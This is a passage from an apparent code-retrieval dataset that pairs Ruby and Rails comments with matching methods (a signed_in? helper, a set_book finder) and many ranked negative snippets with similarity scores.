1 }, cathy_admin_session)\n assert_equal(5, assigns(:platforms).size)\n\n end", "def test_404_page\n get '/launchpads'\n assert last_response.ok?\n assert last_response.body.include?('Endpoint Not Found')\n end", "def test_index\n get :index\n assert_response :success\n assert_template 'index'\n assert_equal \"Store\", assigns(:title)\n assert_not_nil assigns(:tags)\n assert_not_nil assigns(:products)\n end", "def test_new_view\n get :new\n assert_response :redirect\n assert_redirected_to user_new_path(:cookie_test => \"true\")\n\n get :new, :params => { :cookie_test => \"true\" }, :session => { :cookie_test => true }\n assert_response :success\n\n assert_select \"html\", :count => 1 do\n assert_select \"head\", :count => 1 do\n assert_select \"title\", :text => /Sign Up/, :count => 1\n end\n assert_select \"body\", :count => 1 do\n assert_select \"div#content\", :count => 1 do\n assert_select \"form[action='/user/new'][method='post']\", :count => 1 do\n assert_select \"input[id='user_email']\", :count => 1\n assert_select \"input[id='user_email_confirmation']\", :count => 1\n assert_select \"input[id='user_display_name']\", :count => 1\n assert_select \"input[id='user_pass_crypt'][type='password']\", :count => 1\n assert_select \"input[id='user_pass_crypt_confirmation'][type='password']\", :count => 1\n assert_select \"input[type='submit'][value='Sign Up']\", :count => 1\n end\n end\n end\n end\n end", "def test_logged_in_user_access_to_userland_approved\n # first log in\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n # then specifically request the index page in userland\n get '/in/index'\n assert last_response.ok?\n assert last_response.body.include?('You are logged in as') \n assert last_response.body.include?(GOOD_USERNAME) \n end", "def test_should_view_shipping_method\n # TODO: If this action is not used anymore, get rid of it. \n get :view_shipping_method\n assert_response 302\n end", "def test_create_questionnaire_with_existing_name\r\n # It will raise an error while execute render method in controller\r\n # Because the goldberg variables didn't been initialized in the test framework\r\n assert_raise (ActionView::TemplateError){\r\n post :create_questionnaire, :save => true, \r\n :questionnaire => {:name => questionnaires(:questionnaire2).name, \r\n :type_id => 2,\r\n :min_question_score => 1,\r\n :max_question_score => 3, \r\n :id => @Questionnaire }\r\n } \r\n assert_template 'questionnaire/new_questionnaire'\r\n end", "def main\n puts \"Testing redirection to payment form...\"\n\n a = Mechanize.new\n\n a.get(ENV.fetch('FEE_PAYMENT_URL')) do |page|\n search_page = a.click(page.link_with(text: /Start now/))\n results_page = search_for_case(search_page, ENV.fetch('CASE_WITH_FEE_REF'), ENV.fetch('CASE_WITH_FEE_CONF_CODE'))\n payment_page = choose_credit_card(a, results_page)\n\n test_payment_form payment_page\n end\n\n puts_green \" Passed.\"\nend", "def test_get_feed\n get :feed\n assert_response :success\n end", "def test_dvd_routings\n assert_routing '/dvds', :controller => 'dvds', :action => 'index'\n assert_routing '/dvds/index/1', :controller => 'dvds', :action => 'index', :id => '1'\n assert true\n end", "def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end", "def test_05\n prepare_web_application\n assert_equal(200, Alfa::WebApplication.call({'PATH_INFO'=>'/frontend_only'})[0]) # defined in frontend/DefaultController\n assert_equal(404, Alfa::WebApplication.call({'PATH_INFO'=>'/admin/frontend_only'})[0]) # not defined in admin/DefaultController\n end", "def test_routes\n assert_routing(\n { :path => \"/api/0.6/amf/read\", :method => :post },\n { :controller => \"amf\", :action => \"amf_read\" }\n )\n assert_routing(\n { :path => \"/api/0.6/amf/write\", :method => :post },\n { :controller => \"amf\", :action => \"amf_write\" }\n )\n end", "def testing\n # ...\n end", "def test_should_not_get_new_if_not_admin\n get :new\n \n assert_redirected_to login_path\n end", "def test_should_get_access_for_invoice\n setup_access_for_invoice\n \n get :access, :access => @access_key\n assert_redirected_to :controller => 'invoices', :action => 'display_invoice', :id => @access_key\n end" ]
[ "0.704884", "0.6968581", "0.6948749", "0.6929162", "0.68421924", "0.6806146", "0.6805352", "0.6780715", "0.67715245", "0.6733005", "0.6733005", "0.6715396", "0.6679478", "0.66127753", "0.6574262", "0.6537527", "0.6527175", "0.6524942", "0.6504695", "0.65031224", "0.64984035", "0.6451444", "0.64433646", "0.6426935", "0.64240247", "0.6419684", "0.64158636", "0.64066947", "0.63940156", "0.63887346", "0.63490504", "0.6334185", "0.63138586", "0.6304981", "0.6289727", "0.6261105", "0.62513065", "0.62513065", "0.6236398", "0.62270415", "0.622454", "0.62208813", "0.62089586", "0.6203264", "0.6203264", "0.6175986", "0.6170716", "0.6169607", "0.6160199", "0.6144861", "0.61334723", "0.61281174", "0.61267054", "0.6124401", "0.6122905", "0.6122905", "0.61056244", "0.6096617", "0.60716695", "0.6071462", "0.6062178", "0.6060131", "0.6048957", "0.604691", "0.6046449", "0.60460246", "0.60459805", "0.6040555", "0.6006142", "0.59953237", "0.5990778", "0.5983252", "0.5981149", "0.5974301", "0.5949442", "0.5945401", "0.59418344", "0.59407264", "0.5940527", "0.59383094", "0.59352475", "0.59346604", "0.5933244", "0.5931575", "0.59280866", "0.5926906", "0.5921963", "0.5921902", "0.5907581", "0.5905272", "0.59030825", "0.5901891", "0.5887601", "0.588464", "0.5882629", "0.5879958", "0.58742255", "0.5873795", "0.58702606", "0.58647066", "0.5864437" ]
0.0
-1
All notes that this note links to
def child_notes @child_notes ||= NoteComponents::NoteLinks.new(contents).child_notes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notes\n\t\tNote.find(:all)\n\tend", "def links\n links = Hash.new([])\n order = []\n each_with_rescue(@notes) do |note|\n order << note.row\n links[note.row] += [link_helper(note)]\n end\n\n html = ''\n order.uniq!\n order.each do |row|\n html << \"#{row.is_a?(String) ? row : row.to_s.camelize}: #{links[row].join(\" | \\n\")}<br />\"\n end\n html\n end", "def notes( params={} )\n notes = get_connections(\"notes\", params)\n return map_connections notes, :to => Facebook::Graph::Note\n end", "def index\n @notes_lists = @note.notes_lists.all\n end", "def note_contents\n self.notes.collect do |note|\n note.content\n end\n end", "def note_contents\n self.notes.each.map{|note| note.content}\n end", "def list\n\t\t@notes = Note.where(topic: params[:topic])\n\tend", "def note_contents\n self.notes.collect {|note| note.content }\n end", "def note_contents\n self.notes.collect {|note| note.content}\n end", "def note_contents\n self.notes.map(&:content)\n end", "def note_contents\n self.notes.map(&:content)\n end", "def note\n comment_list = []\n return @notes if !@notes.nil?\n for page in @pages\n next if !page || !page.list || page.list.size <= 0\n note_page = page.list.dup\n \n note_page.each do |item|\n next unless item && (item.code == 108 || item.code == 408)\n comment_list.push(item.parameters[0])\n end\n end\n @notes = comment_list.join(\"\\r\\n\")\n return @notes\n end", "def show_all_notes(db)\n notes = server.get_index\n notes.each do |note|\n note = server.get_note(note[\"key\"])\n show_note(note)\n end\nend", "def notes params=nil\n @nimble.get \"contact/#{self.id}/notes\", params\n end", "def notes\n return @notes\n end", "def notes\n return @notes\n end", "def notes\n return @notes\n end", "def notes\n return @notes\n end", "def note_attachment_els(note)\n spans = browser.find_elements(xpath: \"//li[contains(@id, 'note-#{note.id}-attachment')]//span[contains(@id, '-attachment-')]\")\n links = browser.find_elements(xpath: \"//li[contains(@id, 'note-#{note.id}-attachment')]//a[contains(@id, '-attachment-')]\")\n spans + links\n end", "def notes\n @notes\n end", "def index\n @internal_notes = InternalNote.all\n end", "def notes(params = {})\n @notes ||= MailchimpAPI::Note.find(:all, params: { member_id: id }.deep_merge(prefix_options).deep_merge(params))\n end", "def all_notes\n self.has_notes? ? self.annotations.map {|n| n.body }.join(' ') : '' \n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def notes\n return Note.find(:all, :conditions => [\"type_id = ? AND owner = ?\", self.id, :property ])\n end", "def notes\n Notes.new(self)\n end", "def index\n @to_do_notes = ToDoNote.all\n end", "def all_attachments notes=nil\n if notes == nil\n notes = self.notes.collect{|note| note.id}\n NoteAttachment.where(note_id: notes, is_archive:false).order(\"id DESC\")\n else\n NoteAttachment.where(note_id: notes, is_archive:false).order(\"id DESC\")\n end\n end", "def list_notes\n notes = if unsafe_params[:editable]\n Note.editable_by(@context).where.not(title: nil).accessible_by_private\n else\n Note.accessible_by(@context).where.not(title: nil)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n notes = notes.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:note_types].present?\n fail \"Param note_types can only be an Array of Strings containing 'Note', 'Answer', or 'Discussion'\" unless unsafe_params[:note_types].is_a?(Array) && unsafe_params[:note_types].all? { |type| %w(Note Answer Discussion).include?(type) }\n\n note_types = unsafe_params[:note_types].map { |type| type == \"Note\" ? nil : type }\n notes = notes.where(note_type: note_types)\n end\n\n result = notes.order(id: :desc).map do |note|\n if note.note_type == \"Discussion\"\n note = note.discussion\n elsif note.note_type == \"Answer\"\n note = note.answer\n end\n describe_for_api(note, unsafe_params[:describe])\n end\n\n render json: result\n end", "def links; end", "def links; end", "def index\n @notebook_notes = Notebook::Note.all\n end", "def links\n each_link.to_set\n end", "def index\n @user_has_notes = UserHasNote.all\n end", "def show\n @notes = @bookmark.notes\n end", "def collection\n return @client.api_helper.collection(\"notes\")\n end", "def links()\n return @links\n end", "def notes\n\t\tall.map do |tone|\n\t\t\tKey.from_index(tone.tone, tone.letter_index).name\n\t\tend.extend(NoteSequence)\n\tend", "def all_links\n Link.all\n end", "def all_links\n Link.all\n end", "def all_links\n Link.all\n end", "def journal_notes\n css = \"Relationship[@Name='Incident has Notes']\" +\n \" BusinessObject[@Name=JournalNote]\"\n return @dom.css(css).map do |element|\n JournalNote.new(element.to_xml)\n end\n end", "def starred_notes\n fetch_notes_for nil, true\n end", "def links\n return @links\n end", "def links\n return @links\n end", "def links\n return @links\n end", "def index\n #@notes = Note.all\n @notes = current_user.notes\n end", "def index\n @personal_notes = Note.where(:user_id => current_user.id)\n @public_notes = Note.where(:isPublic => true).where.not(:user_id => current_user.id)\n @shared_notes = Note.where(:id => NotesUser.where(:user_id => current_user.id).select(:note_id))\n #@notes = Note.all\n end", "def links\n @links ||= []\n @links\n end", "def index\n @communication_notes = CommunicationNote.all\n end", "def filter_notes\n filters = []\n filters << {:re => /(https?:\\/\\/\\S+)/i, :sub => '<a href=\\1>\\1</a>'}\n filters << {:re => /\\brt:(\\d+)\\b/i, :sub => '<a href=https://apps.education.ucsb.edu/rt/Ticket/Display.html?id=\\1>rt:\\1</a>'}\n filters << {:re => /\\bwiki:([\\S\\(\\)_]+)/i, :sub => '<a href=http://wiki.education.ucsb.edu/\\1>wiki:\\1</a>'}\n filters << {:re => /#(\\S+)\\b/i, :sub => '<a href=/deezy/hosts?search[order]=&search[mac_or_ip_or_itgid_or_room_or_hostname_or_uid_or_notes_contains]=%23\\1>#\\1</a>'}\n\n @hosts = [@host] if @hosts == nil\n @hosts.each do |e|\n filters.collect { |f| e.notes.gsub! f[:re], f[:sub] }\n end\n end", "def index\n @textnotes = Textnote.all\n end", "def note_nodes\n nodes = Nokogiri::HTML.fragment(self.notes).children\n if nodes.size == 1\n content = Scrub.remove_surrounding(notes)\n Nokogiri::HTML.fragment(content).children\n else\n return nodes\n end\n end", "def notes\n run(helm('get', 'notes', name))\n end", "def index\n respond_with Note.all\n end", "def index\n @dest_notes = DestNote.all\n end", "def show_notes\n info \"showing notes\"\n res = run(\"git notes --ref #{refname} show\")\n if res[:val] == 0\n info \"existing note: #{res[:out].strip}\"\n else\n info \"no existing note\"\n end\n end", "def doc_links(pid)\n @client.call(:get_doc_links, message: {pid: pid})\n end", "def notes_with_tags\n fin = []\n \n notes.each do |note|\n\n # tag = {}\n \n # if note.tag_id\n # tag['id'] = note.tag.id\n # tag['note_ids'] = note.id\n # fin << tag\n # end\n\n end \n\n return fin\n end", "def notes\n @user = User.find(params[:id])\n @notes = @user.notes.includes(:author).search_sort_paginate(params, :parent => @user)\n end", "def list_notes(identifier, opts = {})\n data, _status_code, _headers = list_notes_with_http_info(identifier, opts)\n return data\n end", "def show_links\r\n links = Document.new(self).get_links\r\n puts \"There are #{links.length} links\"\r\n index = 1\r\n links.each do |l|\r\n puts \"link: name: #{l.name}\"\r\n puts \" id: #{l.id}\"\r\n puts \" href: #{l.href}\"\r\n puts \" index: #{index}\"\r\n index += 1\r\n end\r\n end", "def notes\n @chapter = Chapter.find(params[:id])\n @notes = @chapter.notes.includes(:author).search_sort_paginate(params, :parent => @chapter)\n end", "def notes; end", "def notes; end", "def notes; end", "def notes\n @attributes[:notes]\n end", "def notes\n @attributes[:notes]\n end", "def links\n @data[\"_links\"]\n end", "def index\n @sr_notes = SrNote.all\n end", "def list_case_notes\n\t\t@case_notes = CaseNote.where(case_id: params[:case_id])\n\tend", "def index\n @notes = current_user.notes.paginate(:page => params[:page])\n end", "def notes_chronologically\n notes.in_order\n end", "def index\n @event_notes = EventNote.all\n end", "def links\n linked_to.map{|to|[self,to]}\n end", "def show_all_notes_db(db)\n db.all_notes.select { |note| !note[\"deleted\"] }\n .each { |note| show_note(note) }\nend", "def all_links\n self.fulltext_links + self.non_fulltext_links\n end", "def index\n @sticky_notes = StickyNote.all\n end", "def links\n @links.values\n end", "def index\n @note_attachments = NoteAttachment.all\n end", "def lists\n @links = Link.all\n @short_link = ActionMailer::Base.default_url_options[:host]\n end", "def note_strings\n ::Set.new(@notes.collect(&:note_string))\n end", "def notes\n @sponsorship_level = SponsorshipLevel.find(params[:id])\n @notes = @sponsorship_level.notes.includes(:author).search_sort_paginate(params, :parent => @sponsorship_level)\n end", "def index\n @note_collections = NoteCollection.all\n end", "def notes\n @data[:notes]\n end", "def notes\n notes_range.to_a.map(&:to_s)\n end", "def citations\n Footnote.where(noted_id: id).where(slug: '')\n end", "def evernote_note_titles\n Rails.cache.fetch(\"#{cache_key}/evernote_note_titles\", expires_in: 12.hours) do\n Evernote::NoteStoreExplorer.new(self).app_notes.map {|n| n.title}\n end\n end", "def index\n @notes = Note.where(published_state:true)\n end", "def index\n @product_notes = ProductNote.all\n end", "def links\n\t\t( 0...self.link_count ).collect do |i|\n\t\t\tself.link( i )\n\t\tend\n\tend", "def links\n data['links']\n end", "def links\n @mandate_links ||= Links.new(@links)\n end", "def links\n links = []\n result = self.perform\n links = result.ft_links\n end", "def links\n @links = super || []\n end", "def set_notes_list\n @notes_list = @note.notes_lists.find(params[:id])\n end" ]
[ "0.72996134", "0.71618944", "0.7091816", "0.6826621", "0.6789827", "0.6771426", "0.6760867", "0.67252964", "0.6665089", "0.66399866", "0.66399866", "0.6625313", "0.6585849", "0.6563677", "0.6555844", "0.6555844", "0.6555844", "0.6555844", "0.6541238", "0.6503169", "0.64674056", "0.64219517", "0.640232", "0.63609123", "0.63609123", "0.63609123", "0.63609123", "0.63609123", "0.6358491", "0.6296675", "0.6278311", "0.6262063", "0.62611574", "0.62570983", "0.62570983", "0.624827", "0.6245409", "0.62348634", "0.6229913", "0.6229123", "0.61800444", "0.6157718", "0.61490405", "0.61490405", "0.61490405", "0.6147368", "0.6146849", "0.61440104", "0.61440104", "0.61440104", "0.6129544", "0.61249995", "0.61169636", "0.6111999", "0.6102678", "0.6101254", "0.60818124", "0.60695416", "0.6068706", "0.6065706", "0.60633546", "0.6048583", "0.6041406", "0.6029115", "0.60161406", "0.60111284", "0.5997136", "0.5981699", "0.5981699", "0.5981699", "0.59757054", "0.59757054", "0.5974303", "0.59414434", "0.59162706", "0.5912424", "0.5910156", "0.59099877", "0.5907092", "0.5889693", "0.58858573", "0.58786976", "0.5873054", "0.58724225", "0.5867898", "0.5865121", "0.5863381", "0.5840411", "0.58319", "0.58318937", "0.5831844", "0.5819032", "0.58086276", "0.5803255", "0.5799901", "0.57892644", "0.5783868", "0.576745", "0.5766131", "0.5756742" ]
0.6413136
22
!!nil > !true > false !!user_instance > !false > true
def signed_in? !!current_user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def logged_in?\n !!current_user #here !! converts @current_user into boolean\n end", "def is_user?\n user ? true : false\n end", "def has_user?\n !user.nil?\n end", "def create?\n @user&.admin?\n end", "def conditionally_true\n\t\t!!self\n\tend", "def create?\n @user != nil\n end", "def logged_in?\n!!current_user\nend", "def logged_in_normal_user?\n normal_user.present?\n end", "def show?\n true unless user.nil?\n end", "def show?\n !user.nil? && user.admin?\n end", "def create?\n\t\t!@user.nil?\n\tend", "def applies_to?(user); false end", "def create?\n !user.nil?\n end", "def create?\n !user.nil?\n end", "def logged_in?\n!current_user.nil?end", "def logged_in?\n !!current_user #smart way of giving the true if true and not just opposite!\n end", "def user_defined?\n !@user.nil? || !@user['userId'].nil?\n end", "def convert_nil_to_false\n self.is_admin = false unless self.is_admin == true\n return true\n end", "def logged_in?\n!current_user.nil?\nend", "def logged_in?\n!current_user.nil?\nend", "def new?\n @user&.admin?\n end", "def user_present?\n current_user.present?\n end", "def create?\n user.present? && user.admin?\n end", "def true?\n !false?\n end", "def user\n\t\tfalse\n\tend", "def is_potential_user?\n\t\ttrue\n\tend", "def destroy?\n @user&.admin?\n end", "def user_login?\n\t !!current_user\n\tend", "def logged_in? \n # !!current_user either returning true or false without if statement\n if current_user #forcing current_user user object: true, or nil: false\n true\n else\n false\n end\n end", "def guest_user?\n !cookies[:uuid].nil? && !guest_user.nil?\n end", "def can_destroy?(user)\n !!user&.admin\n end", "def create?\n !@user.nil?\n end", "def logged_in?\n \t!!current_user\n end", "def current_or_guest_user?\n !current_or_guest_user.nil?\n end", "def manageable?(user)\n self == user || user&.admin?\n end", "def logged_in?\n \t#devuelve un booleano para saber si hay un usuario loggeado o no. \n \t#para eso sirven los dos signos de exclamacion !!\n \t!!current_user\n end", "def logged_in?\n \t#devuelve un booleano para saber si hay un usuario loggeado o no. \n \t#para eso sirven los dos signos de exclamacion !!\n \t!!usuario_actual\n end", "def person?\n !!self.person\n end", "def person?\n !!self.person\n end", "def not_account_owner\n not_account_owner_in_signup && !is_account_owner? \n end", "def checkbox?\n (user.premium? && ( record.user_id == user.id )) || user.admin?\n end", "def user_signed_in?\n !!current_user #false of false = true\n end", "def destroy?\n !user.nil? and ((user.id == record.user.id) or user.admin?)\n end", "def destroy?\n return false if user.nil?\n user.admin? && user != record\n end", "def conditionally_false\n\t\t!self\n\tend", "def logged_in?\n !real_user.nil?\n end", "def destroy?\n user&.admin?\n end", "def update?\n @user&.admin?\n end", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in?\n\t\t!!current_user\n\tend", "def logged_in_user?\n !current_user.nil?\n end", "def new?\n super && !user.admin? && not_a_visitor && !user_has_other_application?\n end", "def normal_user?\n self.admin ==false\n end", "def destroy?\n user.present? && user.admin?\n end", "def logged_in?\n current_user != :false\n end", "def logged_in?\n current_user != nil \nend", "def logged_in?\n ## to query if the logged in, call the current_user with !! preceeded, this turns it to true or false\n # TRUE or FALSE\n !!current_user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def logged_in?\n !current_baby.nil?\n end", "def logged_in_receptionist?\n !current_receptionist.nil?\n end", "def create?\n user.present?\n end", "def create?\n user.present?\n end", "def create?\n user.present?\n end", "def not_nil?\n !nil?\n end", "def not_nil?\n !nil?\n end", "def logged_in?\n !current_user.nil?\nend", "def logged_in?\n !current_user.nil?\nend", "def logged_in?\n !current_user.nil?\nend", "def user?\n permissions == 'user'\n end", "def logado?\n !current_user.nil?\n end", "def visible?(user=User.current)\n true\n end", "def update?\n !user.nil? && user.admin?\n end", "def is_super_user?\n @super_user\n end", "def other_user_profile?\n !is_owner\n end", "def true?\n self.eql?(true)\n end", "def signed_in?\n # bang bang works in a bunch of languages, can test if things are true\n !!current_user # Ruby apparently treats most things as true, including 0 and \"\"\n end", "def foreign_visitor?\n not user\n end", "def update?\n user&.admin?\n end", "def admin? ; user.instance_of? User and user.role >= 2 ; end", "def user?\n get_mode == :user\n end", "def create?\n @user.expert\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!@current_user\n end", "def admin_user?\n self.admin ==true\n end", "def current_user_admin?\n current_user&.admin?\n end", "def true?\n self == true\n end", "def destroy?\n user.present? && (record.user == user || user.admin? || user.moderator?)\n end", "def show?\n user.try(:admin?) || record.has_member?(user) \n end", "def logged_in?\n\t\t!!current_user\n end", "def user?(user)\n user.id == self.user_id if user\n end", "def is_user?\n usertype == 'user'\n end", "def supports_is_true?\n false\n end", "def is_user?\ncurrent_user.username == @userl.username\n end", "def logged_in?\n !current_user.nil?\n end", "def is_logged_in?\n\t\t!! current_user\n\tend" ]
[ "0.7081463", "0.6981775", "0.69145715", "0.67774826", "0.6678485", "0.66425925", "0.6598716", "0.65829813", "0.6555438", "0.65385294", "0.65313923", "0.652779", "0.6513366", "0.6513366", "0.6496771", "0.64951444", "0.64926803", "0.6475165", "0.64403534", "0.64403534", "0.6431714", "0.6413984", "0.6381296", "0.6344879", "0.63255006", "0.6313717", "0.63127464", "0.6308042", "0.62965304", "0.62866044", "0.62816346", "0.6265732", "0.6264565", "0.6252705", "0.62268466", "0.62091553", "0.6206215", "0.6205523", "0.6205523", "0.62042034", "0.6191721", "0.61866486", "0.61834633", "0.6183271", "0.6168647", "0.6159314", "0.61523503", "0.61498916", "0.61294705", "0.61294705", "0.61294705", "0.61294705", "0.61294705", "0.61294705", "0.61231786", "0.6114993", "0.6114408", "0.6110694", "0.611036", "0.6107497", "0.6101155", "0.60971105", "0.60971105", "0.60971105", "0.60950124", "0.6087493", "0.6081064", "0.6081064", "0.6081064", "0.6080043", "0.6080043", "0.6078721", "0.6078721", "0.6078721", "0.6077801", "0.60706997", "0.60637575", "0.6058007", "0.60534745", "0.60424596", "0.60319746", "0.6030688", "0.6030382", "0.6020868", "0.6020343", "0.60193557", "0.60164183", "0.60069466", "0.6005968", "0.6002237", "0.60006994", "0.59902287", "0.5984165", "0.59817475", "0.5980188", "0.5970635", "0.5970451", "0.59622705", "0.59622157", "0.5961509", "0.59578437" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_book @book = current_author.books.friendly.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n 